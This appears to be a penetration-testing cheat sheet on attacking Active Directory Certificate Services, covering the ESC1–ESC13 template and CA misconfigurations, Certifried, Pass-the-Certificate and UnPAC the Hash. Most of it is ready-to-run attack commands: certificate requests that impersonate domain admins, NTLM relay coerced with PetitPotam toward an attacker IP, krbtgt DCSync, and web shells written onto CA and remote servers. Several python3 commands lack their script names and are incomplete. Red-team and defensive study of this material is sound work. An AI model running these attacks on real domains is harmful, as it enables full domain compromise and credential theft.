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Active Directory - Certificate Services

Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.

ADCS Enumeration

  • netexec: netexec ldap domain.lab -u username -p password -M adcs
  • ldapsearch: ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
  • certutil: certutil.exe -config - -ping, certutil -dump

ESC1 - Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.


  • Template that allows for AD authentication
  • [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)


  • Use Certify.exe to see if there are any vulnerable templates
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage= (pkiextendedkeyusage=' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    # or
    python -u john.doe -p 'Password123!' --host -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage= (pkiextendedkeyusage='
  • Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
  • Use OpenSSL and convert the certificate, do not enter a password
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  • Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx

WARNING: These certificates will still be usable even if the user or computer resets their password!


ESC2 - Misconfigured Certificate Templates


  • Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (


  • Find template
    PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
    # or
    python -u john.doe -p 'Password123!' --host -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=!(pkiextendedkeyusage=*))))'
  • Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

  • Request a certificate based on the vulnerable certificate template ESC3.
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
    [*] Saved certificate and private key to 'john.pfx'
  • Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
    $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

  • Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate
    python3 domain.local/user -k -no-pass -template user -dc-ip -get-acl
  • Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1
    python3 domain.local/user -k -no-pass -template user -dc-ip -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
    # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
    C:\>StandIn.exe --adcs --filter WebServer --ess --add
  • Perform ESC1 and then restore the value
    python3 domain.local/user -k -no-pass -template user -dc-ip -value 0 -property mspki-Certificate-Name-Flag

Using Certipy

# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

ESC5 - Vulnerable PKI Object Access Control

Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.


  • Add new templates to the "Certificate" Templates container
  • "WRITE" access to the pKIEnrollmentService object


  • Use PsExec to launch mmc as SYSTEM on the child DC: psexec.exe /accepteula -i -s mmc
  • Connect to "Configuration naming context" > "Certificate Template" container
  • Open certsrv.msc as SYSTEM and duplicate an existing template
  • Edit the properties of the template to:
    • Granting enroll rights to a principal we control in the child domain.
    • Including Client Authentication in the Application Policies.
    • Allowing SANs in certificate requests.
    • Not enabling manager approval or authorized signatures.
  • Publish the certificate template to the CA
    • Publish by adding the template to the list in certificateTemplate property of CN=Services>CN=Public Key Services>CN=Enrollment Services>pkiEnrollmentService
  • Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.


If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.


  • Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.
    Certify.exe cas
  • Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin


  • Remove the flag: certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 - Vulnerable Certificate Authority Access Control


  • Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions
    Certify.exe find /vulnerable
  • Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
    Certify.exe setconfig /enablesan /restart
  • Request the certificate with the desired SAN.
    Certify.exe request /template:User /altname:super.adm
  • Grant approval if required or disable the approval requirement
    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - AD CS Relay Attack

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

  • Version 1: NTLM Relay + Rubeus + PetitPotam

    impacket> python3 -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
    impacket> python3 ./examples/ -t -smb2support --adcs --template VulnTemplate
    # For a member server or workstation, the template would be "Computer".
    # Other templates: workstation, DomainController, Machine, KerberosAuthentication
    # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
    # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
    git clone
    python3 -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
    python3 <listener> <target> -u <username> -p <password> -d <domain>
    python3 -u user1 -p Password1 -d lab.local
    # Use the certificate with rubeus to request a TGT
    Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
    Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
    # Now you can use the TGT to perform a DCSync
    mimikatz> lsadump::dcsync /user:krbtgt

  • Version 2: NTLM Relay + Mimikatz + Kekeo

    impacket> python3 ./examples/ -t -smb2support --adcs --template DomainController
    # Mimikatz
    mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
    # Kekeo
    kekeo> base64 /input:on
    kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
    # Mimikatz
    mimikatz> lsadump::dcsync /user:krbtgt

  • Version 3: Kerberos Relay

    # Setup the relay
    sudo --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
    # Run mitm6
    sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

  • Version 4: ADCSPwn - Require WebClient service running on the domain controller. By default this service is not installed.
    adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
    adcspwn.exe --adcs cs.pwnlab.local
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
    adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
    # ADCSPwn arguments
    adcs            -       This is the address of the AD CS server which authentication will be relayed to.
    secure          -       Use HTTPS with the certificate service.
    port            -       The port ADCSPwn will listen on.
    remote          -       Remote machine to trigger authentication from.
    username        -       Username for non-domain context.
    password        -       Password for non-domain context.
    dc              -       Domain controller to query for Certificate Templates (LDAP).
    unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
    output          -       Output path to store base64 generated crt.

  • Version 5: Certipy ESC8

    certipy relay -ca

ESC9 - No Security Extension


  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies Any Client authentication EKU
  • GenericWrite over any account A to compromise any account B


John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

  • Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
  • Change the userPrincipalName of Jane to be Administrator. ⚠ leave the @corp.local part
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
  • Request the vulnerable certificate template ESC9 from Jane's account.
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
    # userPrincipalName in the certificate is Administrator 
    # the issued certificate contains no "object SID"
  • Restore userPrincipalName of Jane to Jane@corp.local.
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
  • Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
    certipy auth -pfx administrator.pfx -domain corp.local
    # Add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC11 - Relaying NTLM to ICPR

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.



  1. Look for Enforce Encryption for Requests: Disabled in certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip -stdout output
  2. Setup a relay using Impacket ntlmrelay and trigger a connection to it. -t rpc:// -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

ESC13 - Issuance Policy

If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.


  • The principal has enrollment rights on a certificate template
  • The certificate template has an issuance policy extension
  • The issuance policy has an OID group link to a group
  • The certificate template defines EKUs that enable client authentication
PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
AccessControlType     : Allow

# check if there is an issuance policy in the msPKI-Certificate-Policy
PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
msPKI-Certificate-Policy : {}

# check for OID group link
PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
msDS-OIDToGroupLink     : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire

# verify if ESC13Group is a Universal group
PS C:\> Get-ADGroup ESC13Group -Properties Members
GroupScope        : Universal
Members           : {}


  • Request a certificate for the vulnerable template

    PS C:\> .\Certify.exe request /ca:DC01\dumpster-DC01-CA /template:ESC13Template

  • Merge into a PFX file

    PS C:\> certutil -MergePFX .\esc13.pem .\esc13.pfx

  • Verify the presence of the "Client Authentication" and the "Policy Identifier"

    PS C:\> certutil -Dump -v .\esc13.pfx

  • Ask a TGT for our user, but we are also member of the linked group and inherited their privileges

    PS C:\> .\Rubeus.exe asktgt /user:ESC13User /certificate:C:\esc13.pfx /nowrap

Certifried CVE-2022-26923

An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

  • Find ms-DS-MachineAccountQuota
    bloodyAD -d lab.local -u username -p 'Password123*' --host get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota 
  • Add a new computer in the Active Directory, by default MachineAccountQuota = 10
    bloodyAD -d lab.local -u username -p 'Password123*' --host add computer cve 'CVEPassword1234*'
    certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
  • [ALTERNATIVE] If you are SYSTEM and the MachineAccountQuota=0: Use a ticket for the current machine and reset its SPN
    Rubeus.exe tgtdeleg
    export KRB5CCNAME=/tmp/ws02.ccache
    bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
  • Set the dNSHostName attribute to match the Domain Controller hostname
    bloodyAD -d lab.local -u username -p 'Password123*' --host set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
    bloodyAD -d lab.local -u username -p 'Password123*' --host get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
  • Request a ticket
    # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
    certipy req 'lab.local/cve$:CVEPassword1234*@' -template Machine -dc-ip -ca lab-ADCS-CA
  • Either use the pfx or set a RBCD on your machine account to takeover the domain
    certipy auth -pfx ./dc.pfx -dc-ip
    openssl pkcs12 -in dc.pfx -out dc.pem -nodes
    bloodyAD -d lab.local  -c ":dc.pem" -u 'cve$' --host add rbcd 'CRASHDC$' 'CVE$' -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 'lab.local/cve$:CVEPassword1234*' -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip -target-ip 


Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

  • Windows
    # Information about a cert file
    certutil -v -dump admin.pfx
    # From a Base64 PFX
    Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    # Grant DCSync rights to an user
    ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
    # To restore
    ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
  • Linux
    # Base64-encoded PFX certificate (string) (password can be set) -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    # PEM certificate (file) + PEM private key (file) -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    # PFX certificate (file) + password (string, optionnal) -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    # Using Certipy
    certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
    certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"

UnPAC The Hash

Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.

  • Windows
    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
  • Linux
    # Obtain a TGT by validating a PKINIT pre-authentication
    # Use the session key to recover the NT hash
    $ export KRB5CCNAME="TGT_CCACHE_FILE" -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'